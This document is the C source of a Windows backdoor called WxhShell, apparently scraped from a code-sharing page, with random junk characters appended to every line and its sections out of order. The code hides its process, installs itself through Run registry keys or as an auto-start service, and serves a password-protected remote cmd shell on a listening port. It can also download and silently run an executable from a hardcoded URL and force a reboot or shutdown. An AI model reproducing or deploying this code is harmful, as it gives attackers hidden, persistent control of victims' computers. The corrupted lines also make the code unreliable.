  // 关机  Ll?g.z"  
  case 'd': { SijS5irfk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mLQUcYfR  
    if(Boot(SHUTDOWN)) loLKm]yV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); / xs9.w8-  
    else { 0juDuE?  
    closesocket(wsh); pcNSL'u+  
    ExitThread(0); CGkI\E  
    } BK*z 4m  
    break; u|T%Xy=LU  
    } 1c / X  
  // 获取shell zx7#)*  
  case 's': { Hl/7(FJqc>  
    CmdShell(wsh); >r=6A   
    closesocket(wsh); MJA~jjy4  
    ExitThread(0); $ 3]b>v  
    break; &/iFnYVhy  
  } a&N%|b K  
  // 退出 "U*5Z:8?9  
  case 'x': { lYP~3wp99  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %OEq,Tb  
    CloseIt(wsh); b#A(*a_gN  
    break; uS&LG#a  
    } IKo;9|2U  
  // 离开 cFDxjX?~  
  case 'q': { }f]b't  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %2}C'MqS  
    closesocket(wsh); ?d~]Wd!z  
    WSACleanup(); `On3/gU|  
    exit(1); zWb -pF|  
    break; t{6ap+%L  
        } `[OXVs,7"  
  }  `Klrr  
  } j3{HkcjJG  
`\ R{5TU  
  // 提示信息 aLYLd/ KV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aiJnfU]W  
} o)p[ C   
  } O2% `2h  
^&-a/'D$,  
  return; x~z_,':  
} -Uri|^t  
%Ci^*zb  
// shell模块句柄 L{<7.?{Y  
int CmdShell(SOCKET sock) E23w *']  
{ JtFiFaCxY  
STARTUPINFO si; iE=P'"I  
ZeroMemory(&si,sizeof(si)); P:^=m*d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rFfy#e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Q5x1!#z #  
PROCESS_INFORMATION ProcessInfo; K#wK1 Sv  
char cmdline[]="cmd"; /BT1oWi1y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |(RZ/d<X\a  
  return 0; f1J %]g!  
} R^6Zafp  
=hGJAU  
// 自身启动模式 Z7KXWu+6`m  
int StartFromService(void) drIK(u\_  
{ B4^`Sw  
typedef struct 'in@9XO  
{ lLMPw}r<  
  DWORD ExitStatus; $kl$D"*0  
  DWORD PebBaseAddress; FT( iX `YQ  
  DWORD AffinityMask; q#'VJA:A5&  
  DWORD BasePriority; sUbF Rq  
  ULONG UniqueProcessId; h0lu!m#\_  
  ULONG InheritedFromUniqueProcessId; -njQc:4W,-  
}   PROCESS_BASIC_INFORMATION; (6clq:c7j  
6__K#r  
PROCNTQSIP NtQueryInformationProcess; iadkH]w  
:Y^I]`lR"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0;<OYbm3<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1eD.:_t4  
|Euus5[  
  HANDLE             hProcess; Vo >Xp  
  PROCESS_BASIC_INFORMATION pbi; ]"h=Qc  
UJn/s;$.e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nvH|Ngg Q  
  if(NULL == hInst ) return 0; /WYh[XKe  
@RVOXkVo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N5!&~~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \iga Q\~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W+hV9  
2yxi= XWZ  
  if (!NtQueryInformationProcess) return 0; Ia7D F'  
 CC#C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y 1nU{Sc@  
  if(!hProcess) return 0; H#Q;"r3  
.Q[yD<)Ubs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `< Yf{'*  
?wCs&tM  
  CloseHandle(hProcess); 9^\hmpP@D  
K(OaW)j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4U{m7[  
if(hProcess==NULL) return 0; Xm@aYNV  
 d1bhJK  
HMODULE hMod; LM6]kll  
char procName[255]; 8t[t{"  
unsigned long cbNeeded; kFLT!k  
U&Ab# m;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); oIxH3T  
HH zEQV Lh  
  CloseHandle(hProcess); =fWdk\Wv  
;($1Z7j+  
if(strstr(procName,"services")) return 1; // 以服务启动 +nQ!4  
@|=UrKAN  
  return 0; // 注册表启动 yoU2AMH2D^  
} 2LK]Q/WG,+  
RH~sbnZ)F  
// 主模块 }p*?1N  
int StartWxhshell(LPSTR lpCmdLine) jb3.W  
{ uP6-cs  
  SOCKET wsl; +* D4(  
BOOL val=TRUE; MD4\QNUa)*  
  int port=0; `Cg^in\  
  struct sockaddr_in door; n$W"=Z;`  
y ||@?Y  
  if(wscfg.ws_autoins) Install(); blp=Hk  
,R~eY?{a  
port=atoi(lpCmdLine); <jFSj=cIL  
,CKvTxz0  
if(port<=0) port=wscfg.ws_port; c'rd$  
ytz8=\p_b  
  WSADATA data; $T/#1w P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }4vjKSV  
$?$9y ^\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O9*p0%ug  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {82rne `[  
  door.sin_family = AF_INET; =qX*]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EzpwGNfz}  
  door.sin_port = htons(port);  "l2bx  
/{R3@,D[]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W>:kq_gT  
closesocket(wsl); ~d>uXrb  
return 1; XN(tcdCG  
} &-4 ?!  
H pFb{  
  if(listen(wsl,2) == INVALID_SOCKET) { SB1[jcJ  
closesocket(wsl); eE9|F/-L  
return 1; n}:t<  
} <A{y($  
  Wxhshell(wsl); ((cb4IX  
  WSACleanup(); B-dlm8gX  
?@3&dk~ni  
return 0; 4,zvFH*AH  
h>|u:]I>  
} C#$6O8O  
LfllO  
// 以NT服务方式启动 ;Z4o{(/zU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pZ\$50t&O  
{ s ^3[W0hL  
DWORD   status = 0; RpAiU  
  DWORD   specificError = 0xfffffff; avy=0Jmj  
7t3X`db  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [-]A^?yBM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0[i}rC9&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; hb<k]-'!  
  serviceStatus.dwWin32ExitCode     = 0; K plM['uF  
  serviceStatus.dwServiceSpecificExitCode = 0; 9t}J|09i  
  serviceStatus.dwCheckPoint       = 0; 2/EK`S  
  serviceStatus.dwWaitHint       = 0; /.2qWQH  
?UJSxL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q]T BQ&  
  if (hServiceStatusHandle==0) return; n. I2$._(b  
Th/{x h  
status = GetLastError(); (Z 8,e  
  if (status!=NO_ERROR) W]@6=OpH  
{ {=6)SBjf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B5 &YL  
    serviceStatus.dwCheckPoint       = 0; -)6;0  
    serviceStatus.dwWaitHint       = 0; (FG^UA#'  
    serviceStatus.dwWin32ExitCode     = status; ?DRR+n _  
    serviceStatus.dwServiceSpecificExitCode = specificError; c(E,&{+E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jOv~!7T  
    return; zu C5@jy.x  
  } M=6G:HHY  
4]IKh,jT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $N dH*  
  serviceStatus.dwCheckPoint       = 0; u6pIdt  
  serviceStatus.dwWaitHint       = 0; ^X^,>Z|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZBC@xM&-  
} )gjGG8 Ee  
Mn{XVXY@qm  
// 处理NT服务事件,比如:启动、停止 VW~Xbyf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a-:pJE.'p  
{ ivD^HhG  
switch(fdwControl) RJLFj  
{ Y6a$gXRT  
case SERVICE_CONTROL_STOP: Op90NZI#K  
  serviceStatus.dwWin32ExitCode = 0; E)Srj~$d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; l<Lz{)OR  
  serviceStatus.dwCheckPoint   = 0; W%WC(/hor  
  serviceStatus.dwWaitHint     = 0; 7g8B'ex J  
  { %pqL-G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #.b^E3#+  
  } Q<C@KBiVE  
  return; rX:1_q`xA  
case SERVICE_CONTROL_PAUSE: {n6\g]p3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `[&v  
  break; v/x*]c!"`  
case SERVICE_CONTROL_CONTINUE: @| P3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (c<f<D|  
  break; -C=]n<ak  
case SERVICE_CONTROL_INTERROGATE: &%}bRPUl  
  break; }pt-q[s>  
}; }Py<qXH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zQn//7#-G  
} kv/(rKLp*  
dbg|V oNf  
// 标准应用程序主函数 C_C$5[~-:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }\U0[x#q  
{ ')rD?Z9 ^  
9wzg{4/-$  
// 获取操作系统版本 +H[Q~P8'[  
OsIsNt=GetOsVer(); Y5Ft96o))x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S7Qen6lm  
FU'^n6[<B  
  // 从命令行安装 jzQ9zy_  
  if(strpbrk(lpCmdLine,"iI")) Install(); O-?z' @5cI  
*TJ<  
  // 下载执行文件 K7+^Yv\YQx  
if(wscfg.ws_downexe) { p FXd4*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C CLfvex  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2YaTT& J  
} gW/QFZjY  
)Gx": D  
if(!OsIsNt) { \l>q Y(gu  
// 如果时win9x,隐藏进程并且设置为注册表启动 W6)dUi :"  
HideProc(); {jrZ?e-q  
StartWxhshell(lpCmdLine); an pJAB:1  
} #*[,woNk  
else C:WtCAm(  
  if(StartFromService()) \ YjB+[.  
  // 以服务方式启动 iZsau2K  
  StartServiceCtrlDispatcher(DispatchTable); t*eleNYeS~  
else =%:JjgKc*t  
  // 普通方式启动 0c%@e2(N  
  StartWxhshell(lpCmdLine); *;>V2!N=U  
-WQ_[t9l  
return 0; yp( ?1  
} iH($rSE  
.ruqRGe/  
F+lm[4n  
S(@*3]!q  
=========================================== A/ox#(!v  
tn(f rccy  
|`N$>9qN  
#nxER   
p_D on3  
m$j n5:  
" K7)j  
;5,`Jpca  
#include <stdio.h> =U)n`#6_j2  
#include <string.h> olUqBQ&ol  
#include <windows.h> MYur3lj%_  
#include <winsock2.h> _|Y.!ZRYP  
#include <winsvc.h> b'1/cY/!  
#include <urlmon.h> Dx p>  
vHZX9LQU0+  
#pragma comment (lib, "Ws2_32.lib") ?,A}E|jZ  
#pragma comment (lib, "urlmon.lib") z226yNlS  
bCJ<=X,g`K  
#define MAX_USER   100 // 最大客户端连接数 ~(Ih~/5\^  
#define BUF_SOCK   200 // sock buffer 5n&)q=jk=  
#define KEY_BUFF   255 // 输入 buffer 0KWy?6 X  
+An![1N,  
#define REBOOT     0   // 重启 ]6?c8/M  
#define SHUTDOWN   1   // 关机 ~;!i)[-  
aPcGI  
#define DEF_PORT   5000 // 监听端口 n1k$)S$iiy  
Vz=j )[  
#define REG_LEN     16   // 注册表键长度 Vq)|gF[6i  
#define SVC_LEN     80   // NT服务名长度 "-~D! {rS  
[[.&,6  
// 从dll定义API (;Dn%kK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~/]\iOL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p``;!3~ ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \'}/&PCkr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B5?c'[V9  
Jq$6$A,f  
// wxhshell配置信息 5VoOJ_hq  
struct WSCFG { yNb#Ia  
  int ws_port;         // 监听端口 +Y.uZJ6+  
  char ws_passstr[REG_LEN]; // 口令 eEg1-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]HZa:aPY  
  char ws_regname[REG_LEN]; // 注册表键名 ~#N.!e4  
  char ws_svcname[REG_LEN]; // 服务名 Fw_bY/WN{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $2 +$,:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h~=\/vF  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +r#=n7 t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ECE{xoc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EP*["fx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y9I #Q  
cfy/*|  
}; {W:)oh>  
!X v2PdP  
// default Wxhshell configuration aQym= 6 %e  
struct WSCFG wscfg={DEF_PORT, ]<o.aMdV  
    "xuhuanlingzhe", kp<}  
    1, dg'CHxU  
    "Wxhshell", J*6n6  
    "Wxhshell", k_|v)\4B  
            "WxhShell Service", 3 DO$^JJ.  
    "Wrsky Windows CmdShell Service", 2A18hP`^  
    "Please Input Your Password: ", rz%[o,s  
  1, 9B?t3:  
  "http://www.wrsky.com/wxhshell.exe", R1b )  
  "Wxhshell.exe" ~gLEhtW  
    }; -$]DO5fY  
\aJ-q?=  
// 消息定义模块 LP m# 3U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  <*6y`X  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J9$]]\52s.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n\8[G [M  
char *msg_ws_ext="\n\rExit."; z7us*8X{  
char *msg_ws_end="\n\rQuit."; YK=#$,6  
char *msg_ws_boot="\n\rReboot..."; Q\/":ISq1  
char *msg_ws_poff="\n\rShutdown..."; ,ov v  
char *msg_ws_down="\n\rSave to "; (82\&dfy  
$M3A+6["H  
char *msg_ws_err="\n\rErr!"; 2Ws/0c  
char *msg_ws_ok="\n\rOK!"; (=3&8$  
4f@\f7 \  
char ExeFile[MAX_PATH]; NE>JtTF<  
int nUser = 0; y\f8Ird  
HANDLE handles[MAX_USER]; ??e#E[bI  
int OsIsNt; id[>!fQ=Y  
x8rFMR#S=  
SERVICE_STATUS       serviceStatus; n+F-,=0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (.nJT"&  
a ~iEps  
// 函数声明 ^N}~U5  
int Install(void); '/qe#S  
int Uninstall(void); q$2taG}  
int DownloadFile(char *sURL, SOCKET wsh); WSB|-Qj}W  
int Boot(int flag); fz?Wr: I  
void HideProc(void); o? xR[N-J  
int GetOsVer(void); eiSO7cGy  
int Wxhshell(SOCKET wsl); Ud(dWj-/  
void TalkWithClient(void *cs); [j+0EVwB  
int CmdShell(SOCKET sock); K|J#/  
int StartFromService(void); <x;[ H%  
int StartWxhshell(LPSTR lpCmdLine); sbiDnRf  
`kT$Gx4x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E|A_|FS&%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =<W[dV=W  
>_% g8T'  
// 数据结构和表定义 q\pc2Lh?^  
SERVICE_TABLE_ENTRY DispatchTable[] = {Ll8@'5  
{ D '_#?%3^  
{wscfg.ws_svcname, NTServiceMain}, 1bAp{u&  
{NULL, NULL} 7a.#F]`  
}; ^@w1Z{:  
cFNtY~(b  
// 自我安装 J-{E`ibGN  
int Install(void) eDZ3SIZ  
{ |;1:$E"  
  char svExeFile[MAX_PATH]; }Ml z\'{  
  HKEY key; !-o||rt  
  strcpy(svExeFile,ExeFile); dz.MH  
0`Qs=R`OM  
// 如果是win9x系统,修改注册表设为自启动 rTiuQdvo  
if(!OsIsNt) { Q-%=ZW Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Oua/NF)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b,V=B{(~  
  RegCloseKey(key); &T.P7nJ=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T`DlOi]Z_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -Z& {$J  
  RegCloseKey(key); Iur} ZAz  
  return 0; _4#psxl[M  
    } 8[p6C Jl)  
  } DL Q`<aU  
}  o|im  
else { PvCE}bY{}  
'(:J|DN  
// 如果是NT以上系统,安装为系统服务 Jg6[/7*m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l;FgX+)  
if (schSCManager!=0) AiI# "  
{ HpC4$JMm  
  SC_HANDLE schService = CreateService 'V{k$}P2  
  ( Hx0,kOh)  
  schSCManager, F!t13%yeu?  
  wscfg.ws_svcname, *zht(~%  
  wscfg.ws_svcdisp, ?uBC{KQ}Y  
  SERVICE_ALL_ACCESS, 74OM tLL$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iR=aYT~  
  SERVICE_AUTO_START, _$lQK{@rY  
  SERVICE_ERROR_NORMAL, <b40\Z{+  
  svExeFile, wd0ACF  
  NULL, u^[v{hv'H  
  NULL, c?Qg :yU  
  NULL, Om~C0  
  NULL, o~>go_Y  
  NULL uV:;y}T^Z  
  ); ;VBfzFH  
  if (schService!=0) $ wB  
  { E6)mBAE  
  CloseServiceHandle(schService); >,2],X"G  
  CloseServiceHandle(schSCManager); 03;(v%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R>q'Ymu~  
  strcat(svExeFile,wscfg.ws_svcname); I@+<[n2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FX 3[U+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gf>5xf{M  
  RegCloseKey(key); p}z0(lQ*~  
  return 0; > `M\xt  
    } ,:,|A/U  
  } 1OL~)X3  
  CloseServiceHandle(schSCManager); n|6yz[N  
} uIwyan-  
} jm"xf7  
)9->]U@  
return 1; vt,X:3  
} \I]'6N=  
G_]mNh  
// 自我卸载 j>23QPG`6U  
int Uninstall(void) H[Cn@XE  
{ nU)f]4q{Ec  
  HKEY key; >MH@FnUL  
V5MbWXgR  
if(!OsIsNt) { &jcr7{cD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZAwl,N){  
  RegDeleteValue(key,wscfg.ws_regname); k,& QcYw  
  RegCloseKey(key); \ZH=$c*W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )M~5F,)  
  RegDeleteValue(key,wscfg.ws_regname); c,^-nH'X>  
  RegCloseKey(key); ~Ua0pS?  
  return 0; $mlcaH  
  } }Of^Y@{q.  
} Y*f<\z(4  
} kE}?"<l  
else { .v{ty  
S"l&=J2dc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RP$A"<goP  
if (schSCManager!=0) ]g :ZokU  
{ J2rH<Fd[up  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +zvK/Fj2q  
  if (schService!=0) 2S3F]fG0  
  { UpbzH(?#  
  if(DeleteService(schService)!=0) { X+iULr.^`~  
  CloseServiceHandle(schService); #<{MtK_  
  CloseServiceHandle(schSCManager); "2-TtQV!  
  return 0; IkkrnG8  
  } RA}PM?D/  
  CloseServiceHandle(schService); [B Al  
  } 5VfP@{  
  CloseServiceHandle(schSCManager); gTT-7  
}  I g`#U~  
} 23PSv8;EM  
f 36rU  
return 1; (@zn[ Nq  
} M6>l%[  
X'Oo ogu  
// 从指定url下载文件 _B2t|uQ  
int DownloadFile(char *sURL, SOCKET wsh) U4g ZW]F  
{ `?:'_K i  
  HRESULT hr; | zf||ju  
char seps[]= "/"; +_<# 8v  
char *token; r?$\`,;  
char *file; @0G} Q  
char myURL[MAX_PATH]; ;iEqa"gO  
char myFILE[MAX_PATH]; R9HRbVBJf  
_+U`afV  
strcpy(myURL,sURL); |67UN U  
  token=strtok(myURL,seps); /cg!Ap5  
  while(token!=NULL) UCQL~  
  { `JC!uc  
    file=token; ny}?+&K  
  token=strtok(NULL,seps); eWFlJ;=  
  } [4gv_g  
wZ\0<skU  
GetCurrentDirectory(MAX_PATH,myFILE); TS-[p d  
strcat(myFILE, "\\"); GxBj N7"  
strcat(myFILE, file); TZ/u"' ZS  
  send(wsh,myFILE,strlen(myFILE),0); \"Np'$4eu  
send(wsh,"...",3,0); >+1bTt/-F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :r\<DVj  
  if(hr==S_OK) 5\pizD/17  
return 0; }"szL=s  
else ^t| %!r G  
return 1; </fzBaTo  
 z\ \MLyS  
} @+xQj.jNC  
(* p |Kzu  
// 系统电源模块 n9#@ e}r  
int Boot(int flag) Q>|<R[.7  
{ P\Ka'i  
  HANDLE hToken; ;2U`?"  
  TOKEN_PRIVILEGES tkp; F:n7yey  
D;Z\GnD  
  if(OsIsNt) { 5!wa\)wY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s}5;)>3~@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F: \CDM=lS  
    tkp.PrivilegeCount = 1; M;V2O;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H#f FU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DCHU=r  
if(flag==REBOOT) { |d{4_o90  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j_k!9"bt  
  return 0; Cjw|.c`  
} w|NLK  
else { WXJ%bH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -&+[/  
  return 0; H=*;3gM,'  
} %kF6y_h`  
  } Z5v\[i@H!  
  else { i7iL[+f]Q  
if(flag==REBOOT) { JVN0];IL}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6<gh:vj  
  return 0; 0DGXMO$;  
} v&|o5om  
else { ?v6xa Vg:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fvg>>HVu  
  return 0; cZA l.}/  
} gd2cwnP  
} *M09Y'5]  
GP1b/n3F1  
return 1; Py K)ks!6  
} q5Z]Z.%3O  
m#ID%[hg$  
// win9x进程隐藏模块 7V?TLGgd$  
void HideProc(void) | X! d*4  
{ bIR7g(PJ.b  
4/cUd=>Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z!DGCw  
  if ( hKernel != NULL ) +hGr2%*0f  
  { y$'(/iyz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \s<L2uRj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `5:b=^'D /  
    FreeLibrary(hKernel); 8!sl) R  
  } icH\(   
741Sd8  
return; wX[g\,?}'  
} FbhF45H  
8(]*J8/wt  
// 获取操作系统版本 @#rF8;  
int GetOsVer(void) {W,&jC  
{ c<Fr^8  
  OSVERSIONINFO winfo; },+ &y^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &#_c,c;  
  GetVersionEx(&winfo); k^K>*mcJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QY|Rz(;m  
  return 1; dg-nv]7  
  else vq/3a  
  return 0; bi~1d"j  
} Cl&YN}t5  
C%H{"  
// 客户端句柄模块 ZW7z[,tk<.  
int Wxhshell(SOCKET wsl) n<3qr}ZG^  
{ pr-=<[ d  
  SOCKET wsh; ?h\fwF3  
  struct sockaddr_in client; n` M!K:Pq  
  DWORD myID; FLUvFD  
O3 NI  
  while(nUser<MAX_USER) v(=?@ tF}E  
{ ;S0Kf{DN2  
  int nSize=sizeof(client); $Y`oqw?g+^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }l"pxp1K  
  if(wsh==INVALID_SOCKET) return 1; p4-UW;Xu  
X)Zc*9XA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YxowArV}uz  
if(handles[nUser]==0) Cg_9V4h.C  
  closesocket(wsh); Q-<h)WTA  
else Uhs/F:E[A  
  nUser++; uo`zAKM&A  
  } zCji]:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fQQj2> 3w  
/Ixv{H)H  
  return 0; ` {/"?s|  
} \:-"?  
qf T71o(  
// 关闭 socket Y]VLouzl  
void CloseIt(SOCKET wsh) \Vb|bw'e(  
{ _$+BYK@  
closesocket(wsh); y=!7PB_\|  
nUser--; `:.a5  
ExitThread(0); fDjJdRS"  
} Uz =OTM  
Q2qT[aD,  
// 客户端请求句柄 HjCe/J ;  
void TalkWithClient(void *cs) G ,e!!J  
{ u+ b `aB  
MFeY}_d<  
  SOCKET wsh=(SOCKET)cs; ;oCSKY4  
  char pwd[SVC_LEN]; r17"i.n  
  char cmd[KEY_BUFF]; 1 HY K& ',  
char chr[1]; =O%'qUj`q  
int i,j; ?t)Mt]("  
p(>D5uN_}5  
  while (nUser < MAX_USER) { LEuDDJ -  
"^Vnnb:Z*o  
if(wscfg.ws_passstr) { i^@hn>s$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m$bYx~K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IY hwFw 5O  
  //ZeroMemory(pwd,KEY_BUFF); #+&"m7 s  
      i=0; `y>BbJqy  
  while(i<SVC_LEN) { %6\L^RP  
osn ,kD*  
  // 设置超时 +,]_TxL|C  
  fd_set FdRead; [gGo^^aW#  
  struct timeval TimeOut; cs9"0&JX  
  FD_ZERO(&FdRead); j1 H eX  
  FD_SET(wsh,&FdRead); v:"Y  
  TimeOut.tv_sec=8; vddl9"V)  
  TimeOut.tv_usec=0; Lb#PiTJI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =6a=`3r!I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Th X6e  
!5 ?<QKOe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F9k}zAY\J  
  pwd=chr[0]; *4/KK  
  if(chr[0]==0xd || chr[0]==0xa) { uuQsK. S  
  pwd=0; D+u\ORj  
  break; *B)10R  
  } [0D.+("EW  
  i++; %Z8wUG  
    } 7+Er}y>  
u"MfxW`  
  // 如果是非法用户,关闭 socket 9"?;H%.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $9h^tP'CV  
} X4L@|"ZI  
Yfx?3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'U,\5jj'Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,#bT  
5S[:;o  
while(1) { `_sKR,LhB  
>`^;h]Q  
  ZeroMemory(cmd,KEY_BUFF); xt6%[)  
[b3$em<^JV  
      // 自动支持客户端 telnet标准   MO? }$j  
  j=0; 1)5/a5  
  while(j<KEY_BUFF) { vXZ )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); : )y3 &I  
  cmd[j]=chr[0]; Q9c*I,O j  
  if(chr[0]==0xa || chr[0]==0xd) { ?4#  
  cmd[j]=0; 21my9Ui]  
  break; %!DTq`F  
  } V+zn` \a  
  j++; K+d{R=s^  
    } 9I}Uh#]k<  
pq%inSY  
  // 下载文件 Vh^ :.y   
  if(strstr(cmd,"http://")) { :QF`Orb!^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m {&lU@uL  
  if(DownloadFile(cmd,wsh)) ] K+8f-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i6S["\h>  
  else pU<GI@gU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^Nt^.xi7  
